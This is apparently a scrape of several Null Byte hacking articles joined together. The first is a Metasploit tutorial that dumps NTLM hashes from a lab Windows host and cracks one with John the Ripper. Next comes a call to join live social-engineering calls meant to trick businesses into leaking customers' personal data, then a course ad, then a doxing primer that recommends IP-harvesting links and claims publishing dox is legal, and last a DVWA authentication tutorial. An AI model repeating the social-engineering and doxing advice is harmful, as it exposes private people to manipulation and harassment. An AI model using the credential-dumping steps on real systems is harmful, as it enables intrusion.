[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
admin2:"shots"
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
[*] Post module execution completedWe can see that we got the same hashes as before, but we also found apasswordhint for admin2. Nice. Now if we typecredsat the prompt, Metasploit will display all the credentials that are currently stored in the database:msf5 post(windows/gather/hashdump) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
10.10.0.104 10.10.0.104 445/tcp (smb) guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
10.10.0.104 10.10.0.104 445/tcp (smb) administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
10.10.0.104 10.10.0.104 445/tcp (smb) admin2 aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 NTLM hash nt,lmThis shows us the host, service, and associated credentials, as well as the hash type. Now all that's left to do is crack that hash.Recommended Reading:Metasploit Penetration Testing Cookbook, Third EditionStep 3: Crack the HashMetasploit's John the Ripper module is extremely useful when you need to quicklycrack hashes— without needing to bother loading up John externally. It is also useful to try as a first pass since it usually takes no time at all and could potentiallyuncover weak passwords.Now that we have our hashes stored in the database, load the JTR module with theusecommand:msf5 post(windows/gather/hashdump) > use auxiliary/analyze/jtr_windows_fastWe can take a look at the availableoptionsfor this module:msf5 auxiliary(analyze/jtr_windows_fast) > options
Module options (auxiliary/analyze/jtr_windows_fast):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG no The path to a John config file to use instead of the default
CUSTOM_WORDLIST no The path to an optional custom wordlist
ITERATION_TIMEOUT no The max-run-time for each iteration of cracking
JOHN_PATH no The absolute path to the John the Ripper executable
KORELOGIC false no Apply the KoreLogic rules to Wordlist Mode(slower)
MUTATE false no Apply common mutations to the Wordlist (SLOW)
POT no The path to a John POT file to use instead of the default
USE_CREDS true no Use existing credential data saved in the database
USE_DB_INFO true no Use looted database schema info to seed the wordlist
USE_DEFAULT_WORDLIST true no Use the default metasploit wordlist
USE_HOSTNAMES true no Seed the wordlist with hostnames from the workspace
USE_ROOT_WORDS true no Use the Common Root Words WordlistThere are options to use a custom wordlist or the powerful KoreLogic rules, but for now, we will keep the default options as they are. Typerunto kick it off:msf5 auxiliary(analyze/jtr_windows_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190627-25408-1bio0bp
[*] Wordlist file written out to /tmp/jtrtmp20190627-25408-8tghjo
[*] Cracking lm hashes in normal wordlist mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-06-27 12:16) 0g/s 261783p/s 261783c/s 261783C/s PLANAR..VAGRANT
Session completed
[*] Cracking lm hashes in single mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:04 DONE (2019-06-27 12:16) 0g/s 2527Kp/s 2527Kc/s 2527KC/s LLB1903..E1900
Session completed
[*] Cracking lm hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-06-27 12:16) 0g/s 13386Kp/s 13386Kc/s 13386KC/s 0766269..0769743
Session completed
[*] Cracked Passwords this run:
[*] Cracking nt hashes in normal wordlist mode...
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-06-27 12:16) 0g/s 959350p/s 959350c/s 1918KC/s yesenia..yodelli
Session completed
[*] Cracking nt hashes in single mode...
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:07 DONE (2019-06-27 12:17) 0.1253g/s 8097Kp/s 8097Kc/s 11648KC/s yellowy1900..yodelli1900
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
[*] Cracking nt hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2019-06-27 12:17) 0g/s 20885Kp/s 20885Kc/s 20885KC/s 73673920..73673952
Session completedWe can see it starts out by attempting to crack any LM hashes, first in wordlist mode, followed by single-mode, and finally, incremental mode. Next, it follows the same procedure for anyNT hashesthat are present. Once it completes, it shows us any cracked passwords that it uncovered, along with the associated username:[*] Cracked Passwords this run:
[+] admin2:tequila99
[-] Auxiliary failed: KeyError key not found: :address
[-] Call stack:
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:551:in `fetch'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:551:in `create_credential_service'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:301:in `block in create_credential_login'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:621:in `retry_transaction'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential/creation.rb:300:in `create_credential_login'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:27:in `block (2 levels) in create_cracked_credential'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation/delegation.rb:46:in `each'
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/activerecord-4.2.11.1/lib/active_record/relation/delegation.rb:46:in `each'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:25:in `block in create_cracked_credential'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:166:in `data_service_operation'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:15:in `create_cracked_credential'
[-] /usr/share/metasploit-framework/lib/msf/core/auxiliary/report.rb:26:in `create_cracked_credential'
[-] /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:127:in `block (2 levels) in run'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:173:in `block (2 levels) in each_cracked_password'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:172:in `each_line'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:172:in `block in each_cracked_password'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:171:in `popen'
[-] /usr/share/metasploit-framework/lib/metasploit/framework/jtr/cracker.rb:171:in `each_cracked_password'
[-] /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:90:in `block in run'
[-] /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:46:in `each'
[-] /usr/share/metasploit-framework/modules/auxiliary/analyze/jtr_windows_fast.rb:46:in `run'
[*] Auxiliary module execution completedAs an added bonus, when we use thecredscommand to view stored credentials in our database, we can now see the plaintext password is included:msf5 auxiliary(analyze/jtr_windows_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
admin2 tequila99 Password
10.10.0.104 10.10.0.104 445/tcp (smb) guest aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
10.10.0.104 10.10.0.104 445/tcp (smb) administrator aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 NTLM hash nt,lm
10.10.0.104 10.10.0.104 445/tcp (smb) admin2 aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 NTLM hash nt,lmWrapping UpIn this tutorial, we learned about Metasploit's John the Ripper module and how to use it to quickly crack Windows hashes. We first exploited the target using EternalBlue and used the hashdump post module to grab user hashes and store them to the database. Then, we ran the JTR module right in Metasploit and cracked the hash of one of the users. Metasploit's JTR module makes it easy to obtain weak passwords in very little time, and it should be worth a shot in any Windows post-exploitation campaign.Don't Miss:Quickly Gather Target Information with Metasploit Post ModulesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMartin Lopez/Pexels; Screenshots by drd_/Null ByteRelatedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:How to Crack User Passwords in a Linux SystemHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Hack WPA/WPA2-Enterprise Part 2How To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How to Hack Like a Pro:Getting Started with MetasploitHow To:Use Hash-Identifier to Determine Hash Types for Password CrackingHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)Hack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:GPU Accelerate Cracking Passwords with HashcatRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Recover a Windows Password with OphcrackNews:Best Hacking SoftwareNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:Mine Bitcoin and Make MoneyNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:Remove a Windows Password with a Linux Live CDNews:Chip Tha Ripper - "Feel Good"How To:Hack Mac OS X Lion PasswordsNews:Windansea Beach - San Diego SurfersHow To:How Hackers Steal Your Internet & How to Defend Against It |
Listen In: Live Social Engineering Phone Calls with Professional Social Engineers « Null Byte :: WonderHowTo | This is the first official announcement for a new weekly activity on Null Byte for the community to participate in. Starting next week, depending on how much traffic we get doing it, we are going to start doing live social engineering calls via Skype. I've made a list below so that you can get a feel for some of things we'll try to accomplish in these calls.Common Goals of Social Engineering CallsScoring needy people free foodManipulating and extending warrantiesContracting and haggling cheap services (just for practice)Tricking businesses into revealing personal information about customersLeading retail companies on for a sale to try to reduce prices as low as possibleI hope that these calls will serve as a first-hand guide for everyone to learn more about social engineering. This will serve as a very rare link from the small underground world of the "Fone Phreaks" to you, in hopes of teaching you how a professional social engineer manipulates the human mind to their advantage with ease. This includes what fake names statistically work best, which scenarios, accents the manipulator uses and more.RequirementsSkype accountAn IRC clientHow Does This Work?Every Monday night, until we feel like stopping, you can join the IRC channel for an invite to a Skype room filled with professional social engineers! If you're new to IRC, gohereto learn how to set it up and use it. If you attend IRC and show interest, you will receive an invite to the chat and conference.When Does It Start?Every Monday starting5 p.m. PST(8 p.m. EST). If you need to convert the time to another time zone, just go to theTime Zone Converter.PLEASE,arrive on time.You will be left out if you do not arrive on time.GoalsI hope for this to teach you all about the threats and uses of social engineering in the real world. Upon finishing each call, we can post them to YouTube so the rest of the community can hear the devious tactics that went down.You are free to try a call if you think you are up to it. You will see some really intense stuff and it's not for the faint of heart. Be prepared to hear businesses you interact with often gleefully handing out your personal information on a whim to a person without identity.Feel free to sign up for calls below.Be a Part of Null Byte!Post to theforumsChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viawashingtonechoRelatedHow To:Learn the Secrets of PsychologyHack Like a Pro:How to Spear Phish with the Social Engineering Toolkit (SET) in BackTrackHow To:Use Social Engineering to Find Out More Information About a CompanyHow To:Use Social Engineering to Hack ComputersHack Like a Pro:The Ultimate Social Engineering HackSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Use "SET", the Social-Engineer ToolkitSocial Engineering:The Most Powerful HackListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social Engineers (Final Session)Social Engineering, Part 1:Scoring a Free Cell PhoneNews:Live Social EngineeringHow To:Proof of Social Engineering Success!Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)How To:Score Free Game Product Keys with Social EngineeringXbox LIVE Achievement:How to Earn Free Microsoft Points with Social EngineeringHow To:Social Engineer Your Way Into an Amusement Park for FreeSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Google social web engineer Joseph Smarr talks about lessons from Google+Social Engineering:The BasicsHow To:recognize Crowd Control - Part 1Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)How To:The Social Engineer's Guide to Buying an Expensive LaptopNews:Social Hacking and Protecting Yourself from Prying EyesHow To:Social Engineer Your Debt Collectors Into Giving You More Time to Pay BillsHow To:Advanced Social Engineering, Part 1: Exact Revenge on Craigslist Scammers with Tabnab PhishingHow To:Unban Your Xbox LIVE Account That is Banned Until 12/31/9999 by Tricking Microsoft's Banning SystemNews:Top 13 Google Insiders to Follow on Google+News:Engineering Degree Program TipsHow To:The Official Google+ Insider's Guide IndexNews:Welcome to the Google+ Insider's Guide!News:UET,lahore,pakistanDrive-By Hacking:How to Root a Windows Box by Walking Past It |
Expand Your Coding Skill Set by Learning How to Build Games in Unity « Null Byte :: WonderHowTo | Null Byte readers are no strangers to the powers and benefits that come from learning how to code. By knowing only a handful of programming languages and platforms, an intrepid developer can create everything from best-selling apps to spyware in the comfort of his or her own home.But your technical skills and coding prowess can also be used for much more than run-of-the-mill hacking and app development. Through four courses and over 40 hours of training that's geared toward tech enthusiasts looking to expand their development horizons, theOfficial Unity Game Development Bundlewill teach you how to create pro-level games from scratch, and it's on sale for just $25.This best-selling bundle walks you through both the basics and more advanced elements of game development, through courses that build on your existing knowledge of tech and coding.TheUltimate Guide to Game Development with Unity 2019course packs 12 hours of comprehensive instruction that teaches you how to create both 2D and 3D games using one of the word's most popular and powerful game-development platforms — through lessons that introduce you to every element of Unity.You'll then build on your Unity knowledge with theUnity C# Survival Guidecourse, which will teach you how to implement this common programming language into your builds to craft more realistic games, characters, environments, and more.There's also theUltimate Guide to Cinematography with Unitymodule — a step-by-step guide to taking advantage of everything that the powerful Unity video engine has to offer. You'll learn how to develop your games and make them market-ready through lessons that teach you how to add animations, buffer your media, build amazing cutscenes, and more.Finally, theUltimate Guide to 2D Mobile Game Developmentsection will show you how to develop and distribute games for an increasingly popular and lucrative platform, through courses that focus on monetization, specialized development methods and tools, C# integration, and marketing tactics.Learn how to build exciting 3D and 2D games with help from the Official Unity Game Development Bundle while it's available forjust $25— over 90% off the MSRP right now.Prices are subject to change.Don't Miss Out:Official Unity Game Development Bundle for $25Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viapxfuelRelatedHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Learn to Design Games with Unity for Just $39.99Dev Report:New ARKit Updates & Native Level Design Features Finally Come to UnityNews:Unity Offers AR/VR Training for Developers Through UdacityHow To:Expand Your Coding Skill Set with This 10-Course Training BundleNews:Unity 2018.2 Release Continues Optimization of 3D Content Performance for Mobile Devices & DesktopsARKit 101:Using the Unity ARKit Plugin to Create Apps for the iPhone & iPadDeal Alert:Learn the Basics of C++, Node.js, Adobe Mixamo & Unity for the Price of a ChromecastNews:Unity Unveils Project MARS for Simplified AR Development & Facial AR for Easy MocapNews:Latest Version of Unity Lays Foundation for Project MARS Augmented Reality Development Tool in 2019News:Unity Previews Project MARS Mobile App, Extends AR Foundation to HoloLens & Magic Leap, Intros XR Interaction ToolkitMeta 2 Dev 101:How to Get Started Developing for the Meta 2 in UnityNews:Unity & Microsoft Are Giving Away $150,000 for HoloLens Apps & Loaning Out HoloLens Developers KitsHoloLens Dev 101:Building a Dynamic User Interface, Part 10 (Scaling Objects)How To:Iterate Faster Inside Unity Using Holographic EmulationNews:Unity, Unreal Engine & Mozilla Partner with Magic Leap as SDK Rolls Out to DevelopersAR Dev 101:Create Cross-Platform AR Experiences with Unity & Azure Cloud, Part 1 (Downloading the Tools)News:Microsoft Launches HoloLens 2 Development Edition, Offers Free Unity Pro & PiXYZ Plugin Trial PackageHoloToolkit:Make Words You Can See in Unity with Typography PrefabsNews:Quickly Build Complex Worlds Inside of Virtual Reality with Unity's New EditorVRNews:Motive.io Opens Early Access to Location-Based AR Development ToolNews:Unity Labs to Bring Tools to Simplify Mixed Reality DevelopmentNews:Unity 5.5 Is Out Now & Officially Supports HoloLens DevelopmentARCore 101:How to Create a Mobile AR Application in Unity, Part 3 (Setting Up the App Controller)News:The HoloLens Can Now Wirelessly Use a PC's CPU & GPU for Faster Development CyclesDev Report:'Book of the Dead' Demo Shows New Unity 2018.1 Features Are a Literal Game ChangerMarket Reality:Unity Receives Investment from Silver LakeNews:Unity 5.6 Just Released with New Features for Game DevelopersNews:Unity Inches Forward with AR Development Tools in Latest ReleaseNR50:Next Reality's 50 People to Watch: Timoni WestNews:Amazon Launches Sumerian, Drag-and-Drop Tool for Quickly Creating & Deploying AR/VR ContentNews:Unity with Native Tango Support & Vuforia Integration Coming Later This YearARCore 101:How to Create a Mobile AR Application in Unity, Part 1 (Setting Up the Software)Dev Report:Unity 2017.2 Is OutDev Report:Machine Learning Agents Come to UnityVideo:Using the HoloLens & Subtractive Spatial Modeling to Make a Room Seem LargerHow To:A Gamer's Guide to Video Game Software, Part 1: Unity 3DNews:Unity3D Could Change the Gaming World Now That It Has FlashNews:The Messiest Launch in Video Game History: Dead IslandHow To:Latest 0x10c Screenshot Hints at How to Write to the In-Game Terminal from DCPU-16 Assembly Code |
Gathering Sensitive Information: Basics & Fundamentals of DoXing « Null Byte :: WonderHowTo | I mentioned in 2015 I wanted to start a 'DoXing' series, and since I havent seen this on Null Byte, I am now going to introduce this to the community.What Is DoXing?DoXing is a term we hackers use when gathering information on a target such as a company or more likely an individual. DoXing is usually meant for malicious intents, however this can most definitely also be used in a very good way, such as tracking down terrorists, and wanted black hat hackers.DoXing is short for Documents > Doc = DoX.DoXing isnt just typing words in Google or a different search engine.Understanding Where to Look:When gathering information on a target, it would be good to do some recon first on your target. Get familiar with them, know who they talk to, where they communicate, what social media platforms they use, that way your methods of obtaining sensitive information will be more effective.Something that many doesn't realize is that the nformation you are seeking is always stored somewhere, you just need to look harder. if Google or Yahoo doesnt have it, then it is likely stored in a database, which then goes beyond the area of DoXing and more into cracking.When DoXing someone you usually get all your information without having to crack into your targets devices or private servers.It is actually legal to release DoX of individuals and whomever you wish, because the information you are obtaining are publicSo you won't get in jail for releasing a DoX. Yes, I am not kidding.Sometimes you will have to reach out to your target in order to obtain an IP address for example. You can do this by for example sending them an IP harvesting link. If you know the individual in person this wont be at all suspicious.How to Look:Even though you have your targets first & last name, you still need to know how to properly use this information in order to obtain more, and using that info to get even further, and so on.Luckily we have search engines which are powerful because they hold a lot of valuable information to a curious information seeker. So, how would you seek more information when having first & last name, in this case lets say our targets name isMichael Oregon. And all we know about this individual is how he looks like, which gives us a great advantage of finding his social medias.GoogleWhen looking for info on Google, you can use something calledadvanced search queriesThey are able to find more precise information.An example would be: @MichaelOregon or @(city/country) Michael Oregon.That way you narrow it down tremendously, and exclude any useless article that might contain the wordMichaelorOregon.There are even more advanced queries than these which I will cover in future articles.DoXing Format:I'm ending this with how a DoXing format can look like. Keep in mind they can be very basic, to very very advanced. It can be scary how much an advanced DoXing format can look like, because the average internet user isnt aware of how much sensitive information that person have.DoXing, would also be considered Passive Reconnaissance, because you are obtaining all of this info without your target knowing so.I have created a very basic DoX format which any decent hacker would be able to furfillBeginner DoXThis is a little more advanced DoX and requires little more skill to furfill in my opinion.Advanced DoXThis one is very advanced and it takes a lot of knowledge and skill to complete this, because you need to know what you are doing to obtain this information.Veteran DoXDisclaimer: this is not for malicious purposes I am teaching you this, and I do not support any unethical use of these formats. I am planning on teaching you how to avoid getting DoXed in the future also.Hope you are excited for this series, as I now officially have three series going,TypoGuy Explaining Anonymitywhich is almost finished,Gathering Sensitive Informationwhich is just started &Keeping your Hacking Identity Secretwhich is also just started.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Gathering Sensitive Information: Scouting Media Profiles for Target InformationHow To:Dox AnyoneHow To:Gathering Sensitive Information: Using Advanced Search QueriesHow To:Gathering Sensitive Information: How a Hacker Doesn't Get DoXedNews:Many Lookup EnginesHow To:You Can Learn the Data Science Essentials at Home in Just 14 HoursHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Remove sensitive information in Adobe Acrobat 9 ProHow To:Learn to Draw Like a Pro for Under $40How To:Create basic animations using Flash CS4How To:Create a website and improve web presenceHow To:Do basic fundamental pen spinning tricksHow To:Break apart a picture frame in Google SketchUpHow To:Perform Directory Traversal & Extract Sensitive InformationHow To:Play pool for beginnersHow To:Start salsa dancing with basic fundamental movesHow To:Enumerate SMB with Enum4linux & SmbclientNews:How to Study for the White Hat Hacker Associate Certification (CWA)Weekend Homework:How to Become a Null Byte Contributor (3/9/2012)Don't Get Doxed:5 Steps to Protecting Your Private Information on the WebHow To:Encrypt Your Sensitive Files Using TrueCryptNews:US Federal Gov’t ‘Waging War’ on WhistleblowersHow To:learn TIG FundamentalsHow To:enable & disable Page File EncryptionSocial Engineering:The BasicsNews:Gathering Data for Fun and ProfitNews:The Girdle Of Venus - PalmistryNews:New Variant of Zeus Trojan Loses Reliance On C&C ServerNews:Achieve Results YouTube ChannelNews:First Things FirstCard Hunter:A Boring Title Conceals a Game Design Dream TeamHow To:Permanently Delete Files to Protect Privacy and PasswordsNews:Cooks IllustratedNews:Lombardi on Technique and FundamentalsHow To:Hack a Smartphone Using SMS |
Hack Like a Pro: How to Hack Web Apps, Part 3 (Web-Based Authentication) « Null Byte :: WonderHowTo | Welcome back, my novice hackers!In this third installment of myHacking Web Appsseries, we will look at the authentication of web applications. Remember, there are many ways to hack web applications (as I pointed out inmy first article), and cracking authentication is just one method.To be able to crack authentication of web applications, we first need to understand a bit about how web applications manage authentication. In order to do this, we will be using the Damn Vulnerable Web Application andBurp Suiteto practice our attack methods.I hope it goes without saying that you shouldalways do reconnaissance firstbefore attempting any authentication attack. Know you enemy!Step 1: Install Damn Vulnerable Web ApplicationFor the rest of this series, we will be working with the Damn Vulnerable Web Application (DVWA). Although most of the vulnerabilities in this application are rather old and patched in modern applications, we need to start with this application to do the following.Demonstrate the principles of web app hackingHave a safe environment to practice inOnce we have demonstrated web app hacking principles here on the DVWA, we will progress to show how those principles can be applied to more modern and less vulnerable web applications in later tutorials.You can either installDVWAin any Linux operating system or, probably more simply, installthe Metasploitable operating system, which has DVWA installed by default.If we are using Metasploitable, simply browse to the IP address of your Metasploitable OS with the Iceweasel web browser inKali. Here, mine is 192.168.181.128 on my internal network, but if you have Metasplotable on a public IP, it will work just as well. You should see a webpage like this below. Click on the DVWA link.Step 2: Open DVWAOnce we have clicked on the DVWA link, it will open a login screen like that below. Do not try to log in just yet. Be patient.Step 3: Open Burp SuiteWe will be using Burp Suite in many of these web-based attacks. It is built into Kali, so no need to install anything. Simply open Burp Suite by going to Applications -> Kali Linux -> Web Applications -> Web Application Proxies -> burpsuite.When you do so, you should be greeted with Burp Suite opening a GUI, as seen below.You must configure Burp Suite as your proxy. If you need more information on setting up a proxy,see this article on THC-Hydrawhere we also used Burp Suite as a proxy.Step 4: Authentication TypesBefore we begin to attack authentication, let's pause a minute to examine the types of web-based authentication.Basic Access AuthenticationBasic authentication, as the name implies, is the simplest and most basic form of authentication for a web application. It uses Base64 encoding, which is a weak encoding scheme and easily broken. The Base64 encoding (not encrypting) scheme translates binary data to textual data. Although the underlying plaintext is obfuscated, it is easily decoded.Basic authentication is often used to authenticate against routers, webcams, etc. If we can intercept the credentials by sniffing or using a proxy like Burp Suite, there are a number of tools available that can decode this simple Base64 encoding.Digest Access AuthenticationA step up in security is digest authentication which was described by RFC 2617. Digest authentication relies upon a challenge-response authentication model. The user is usually expected to prove they have some secret without sharing it across an insecure communication channel.Digest authentication is a bit more secure, but it vulnerable to replay attack. It creates a one-way hash (MD5) that is sent to the server for authentication. To prevent the use of rainbow tables to break this form of authentication, the server sends a nonce which acts like a salt. This MD5 hash cannot be decrypted, but can be captured and replayed by the attacker.Digest authentication is stronger than basic authentication because the credentials are not sent over the insecure channel, just the MD5 hash of the credentials. Even though it is difficult to crack this MD5 hash, the hash can be captured enroute to the server. Once captured, it will provide anyone access to the account when it is replayed.Form-Based AuthenticationForm-based authentication is the more common form of authentication in HTTP. Unlike basic and digest authentication, form-based authentication does not rely upon basic web protocols. It is a highly customizable format that usually has HTML FORM and INPUT tags.Generally, the form has both username and password fields where the user enters this information which is included in a GET or POST request over either HTTP or HTTPS. This is the form we often see on modern web applications. When the server receives the username and password and they are correct, the user is allowed entry to the application.Form -based authentication uses a variety of encrypting and coding schemes. As a result, no one type of attack will work in all cases. We need to decipher the type of encoding or encryption before we select an attack method. If TLS or SSL is not enabled, though, the credential will be sent in plaintext.Step 5: Form-Based Web Authentication in DVWALet's begin by logging in to DVWA with a username and password combination of admin/password. Now, near the bottom of the left hand buttons, you will see a "DVWA Security" option.Let's make it a bit more challenging by setting the Security to "high."Next, Let's go back to the login screen and look at the source code.As you can see in the source code below, the PHP GETs the username and then validates the input by stripping out special characters that might be used in an SQL injection (' -- ;). Next, it GETs the password and does the same validation on it to remove the possibility of an easy SQL injection. Then, it takes the two strings and puts them into an SQL query string to run against the authentication database. (For more on the basics of SQL,check out this article.)$qry = "SELECT * FROM 'users' WHERE user = '$user' AND password = '$pass';"Ifbothof the conditions in the WHERE clause evaluate to true, then the user is authenticated to the web application.Now that we have the basics of web application down, in my next tutorial in this series, we will examine ways to crack this authentication process. So keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite)Hack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Hack Your Firefox User Agent to Spoof Your OS and BrowserHow To:Hack with Hacme ShippingNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Lock Apps Using Your Samsung Galaxy S6’s Fingerprint 